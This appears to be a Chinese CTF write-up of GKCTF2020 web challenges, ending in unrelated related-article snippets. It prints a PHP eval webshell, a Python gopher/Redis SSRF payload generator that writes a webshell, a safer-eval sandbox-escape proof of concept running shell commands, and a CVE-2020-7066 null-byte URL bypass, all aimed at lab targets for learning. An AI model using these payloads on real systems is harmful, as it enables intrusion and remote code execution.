刷题[GKCTF2020]
[GKCTF2020]CheckIN
解题思路
打开直接是源码:
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
直接是代码执行,没有过滤,只是base64编码了ginkgo传入的参数.那么我们直接蚁剑连接shell.
eval($_POST["pass"]);
ZXZhbCgkX1BPU1RbInBhc3MiXSk7

正好与我前面的一篇博客相类似:
看到根目录下有flag和readflag文件,同时flag文件为空,readflag文件为二进制执行文件。打开虚拟终端无权限使用/readflag


php-gc-bypass
pwn("/readflag");
把poc放在/tmp目录中(一般都可写入文件),访问include("/tmp/123.php");,使用Ginkgo传参访问,即可获得flag
知识点
php_bypass_disable_functions
[GKCTF2020]cve版签到
解题思路
有hint:cve-2020-7066,就是不知道是刚开始就有的,还是后面放出来的,如果不知道这个CVE可能会卡着。
题目描述You just view *.ctfhub.com。结合cve可知,get_headers()函数存在漏洞,使用%00即可截断,上面网页中也有例子。"http://localhost\0.example.com";\0截断后,其实访问的是localhost.那么payload就很明显了直接构造
http://11f22866-0e4a-4964-aefa-62d81d755716.node3.buuoj.cn/?url=http://localhost.ctfhub.com

结尾只能是123

知识点
cve-2020-7066
[GKCTF2020]老八小超市儿
解题思路
打开网页一看是cms,我的第一反应是直接网上寻找有没有现成的渗透思路
直接搜索ShopXO v1.8.0漏洞
渗透测试|shopxo后台全版本获取shell复现 跟着走一遍即可,挺简单的,应该没什么问题
[GKCTF2020]EZ三剑客-EzWeb
解题思路
打开网页写了个提交按钮,看样子是跳转url,简单尝试下无果,127.0.0.1应该是在黑名单里了。查看源码,发现?secret,在框里提交,没用。再尝试在url上提交,发现给了IP地址。考虑内网渗透

c段扫描,发现在173.136.207.11下开启服务。

此时,使用burpsuite,扫描端口

如果报错429说明访问太快,number of threads 设置小一点

扫描发现开启6379端口,这里积累一下
常见端口:6379端口(redis)或3306端口(mysql)

ssrf常见的攻击方式可以用绝对路径写webshell,利用gopher协议打ssrf
import urllib
protocol="gopher://"
ip="payload"
port="payload"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
这是构造redis命令的,并转化为redis RESP协议的poc,在ip和port处添加,运行在python2环境下

将生成的payload打在框里
访问173.136.207.11/shell.php,即可获得flag
知识点
- ssrf
- redis配合gopher协议getshell
博客
这里有一篇总结的非常好的师傅博文,可以看看
[GKCTF2020]EZ三剑客-EzNode
解题思路
看题目名字应该是node.js,进去是一个计算器。测试发现都是timeout,查看源码
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
解释这段代码:
调用express,写一个路由app.use。如果路径为eval,将delay赋值为60000,输出delay值。
将delay返回成一个整数,并判断如果是整数则返回true。返回delay的最大值。
如果执行的代码超过6s,才能执行/eval
interger超过2147483647可以使int溢出

绕过成功
发现引用了一个库safer-eval,那我们先找下关于这个库的内容或漏洞。搜索发现CVE-2019-10759,safer-eval代码注入漏洞。需要safer-eval 1.3.2。查看版本发现safer-eval =1.3.6。不符合
在github中又发现有sandbox escape,关于沙箱逃逸,原型链污染,我还不是特别懂,这个人说了One can break out of the sandbox with the following code in node:,那通过此poc可以逃逸出沙箱

利用poc:
const saferEval = require("./src/index");
const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;
console.log(saferEval(untrusted));
即参数e的值等于process
e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()

有师傅总结了相关内容,之后再学习:链接
知识点
沙箱逃逸
[GKCTF2020]EZ三剑客-EzTypecho
解题思路
点开网页,看着是要装一个Typecho软件,先跟着来。默认设置安装报错,“不,你不想安装”,一开始以为是自己电脑配置问题,一度怀疑人生,后面搜索,正好发现一篇文章
讲述install.php下,存在反序列化漏洞。跟着来,大同小异,跟着走,poc一打就差不多了
总结
本次比赛习题以已知的cve,软件,cms漏洞为主,主要是要会看师傅们的博客,搜索到相关的解题思路,exp,通过别人的exp学习。总结了搜索cve等漏洞的一些途径:国家信息安全漏洞共享平台,github,freebuf,https://bugs.php.net/
有很多的比赛都不是出的新题,以已知的漏洞为基础,进行一些变更,所以多看相关文章才是王道
刷题[GKCTF2020]的更多相关文章
- LeetCode刷题系列
LeetCode 我们工作面试和提高自身数据结构和算法能力的时候往往需要刷刷题,我选择LeetCode是通过一个留学论坛了解的.专业,覆盖语种全面. 提前说说刷题的心得: 尽量手写代码,少使用IDE的 ...
- ife任务刷题总结(一)-css reset与清除浮动
本文同时发布于本人的个人网站www.yaoxiaowen.com 百度创办的前端技术学院,是一个面向大学生的前端技术学习平台.虽然只有大学生才有资格报名,提交代码进行比赛排名.但是这并不妨碍我们这些初 ...
- 刷题ING...
我用codeVS刷题.. 努力准备!!
- XidianOJ 1020 ACMer去刷题吧
题目描述 刷题是每个ACMer必由之路,已知某oj上有n个题目,第i个题目小X能做对的概率为Pi(0<=Pi<=1,1<=i<=n) 求小X至少做对k道题的概率 输入 第一行输 ...
- 【BZOJ-4590】自动刷题机 二分 + 判定
4590: [Shoi2015]自动刷题机 Time Limit: 10 Sec Memory Limit: 256 MBSubmit: 156 Solved: 63[Submit][Status ...
- NOI题库分治算法刷题记录
今天晚自习机房刷题,有一道题最终WA掉两组,极其不爽,晚上回家补完作业欣然搞定它,特意来写篇博文来记录下 (最想吐槽的是这个叫做分治的分类,里面的题目真的需要分治吗...) 先来说下分治法 分治法的设 ...
- NOI题库刷题日志 (贪心篇题解)
这段时间在NOI题库上刷了刷题,来写点心得和题解 一.寻找平面上的极大点 2704:寻找平面上的极大点 总时间限制: 1000ms 内存限制: 65536kB 描述 在一个平面上,如果有两个点( ...
- 用js刷题的一些坑
leecode可以用js刷题了,我大js越来越被认可了是吧.但是刷题中会因为忽略js的一些特性掉入坑里.我这里总结一下我掉过的坑. 坑1:js中数组对象是引用对象 js中除了object还有数组对象也 ...
- BZOJ4590 自动刷题机
Description 曾经发明了信号增幅仪的发明家SHTSC又公开了他的新发明:自动刷题机--一种可以自动AC题目的神秘装置.自动 刷题机刷题的方式非常简单:首先会瞬间得出题目的正确做法,然后开始写 ...
随机推荐
- 计算机网络-应用层(5)P2P应用
P2P系统的索引:信息到节点位置(IP地址+端口号)的映射 在文件共享(如电驴中):利用索引动态跟踪节点所共享的文件的位置.节点需要告诉索引它拥有哪些文件.节点搜索索引从而获知能够得到哪些文件 在即时 ...
- Shell编程—结构化命令
1使用if-then语句 f-then语句有如下格式. if command then commands fi bash shell的if语句会运行if后面的那个命令.如果该命令的退出状态码是0(该命 ...
- tomcat服务器java.lang.OutOfMemoryError: PermGen space
一挂就报内存溢出 下面是TOMCAT日志 JAVA程序是没有报错, Nov 24, 2009 4:07:02 PM org.apache.catalina.core.ApplicationDispat ...
- Babel知识点相关
本篇是根据最新babel 7版本写的,里面用到的一些babel相关包都是babel 7的 1,babel是如何工作的 babel是一个转译器,这里我严格区分了转译器和编译器,因为编译器最终生成 ...
- Unity 深度冲突的解决方法
Dillon|2014-02-12 10:00|5899次浏览|Unity(280)0 3d游戏中当2个片元距离近裁减平面 w 落在同一个区间的时候,他们的深度是相等的. 最终你所看到的结果,就是下 ...
- 非IT行业大企程序员讲述MIS系统开发案例
雪莉叹了一口气,调整了一下被汗水濡湿的刘海,然后向后靠在办公椅中,伸手在电脑键盘上输入了一些内容, 最后拿起印刷着房地产广告的扇子,边扇风边等待着. 她的工位在办公室的东侧角落,侧靠着窗.此时 ...
- directives 自定义指令
钩子函数 一个指令定义对象可以提供如下几个钩子函数 (均为可选): bind:只调用一次,指令第一次绑定到元素时调用.在这里可以进行一次性的初始化设置.基本数据类型如果发生改变,不会触发,但是引用数据 ...
- 博主心酸历程:初始Hadoop安装安装过程出现的各种问题。
首先,作为一名第一次安装Hadoop的小白,费时六七个小时终于安装好了. 如果你是一名小白也是第一次安装,请参考以下教程: 链接:https://pan.baidu.com/s/1pwu6_znWKz ...
- Spring security OAuth2.0认证授权学习第一天(基础概念-认证授权会话)
这段时间没有学习,可能是因为最近工作比较忙,每天回来都晚上11点多了,但是还是要学习的,进过和我的领导确认,在当前公司的技术架构方面,将持续使用Spring security,暂不做Shiro的考虑, ...
- [LeetCode题解]79. 单词搜索
题目描述 题目:79. 单词搜索 解题思路 遍历 首先找重复性,题目说给定单词是否存在于二维数组中,可以简化为从 (x, y) 走 n 步(n 表示单词长度),查看给定单词是否存在.然后再遍历二维数组 ...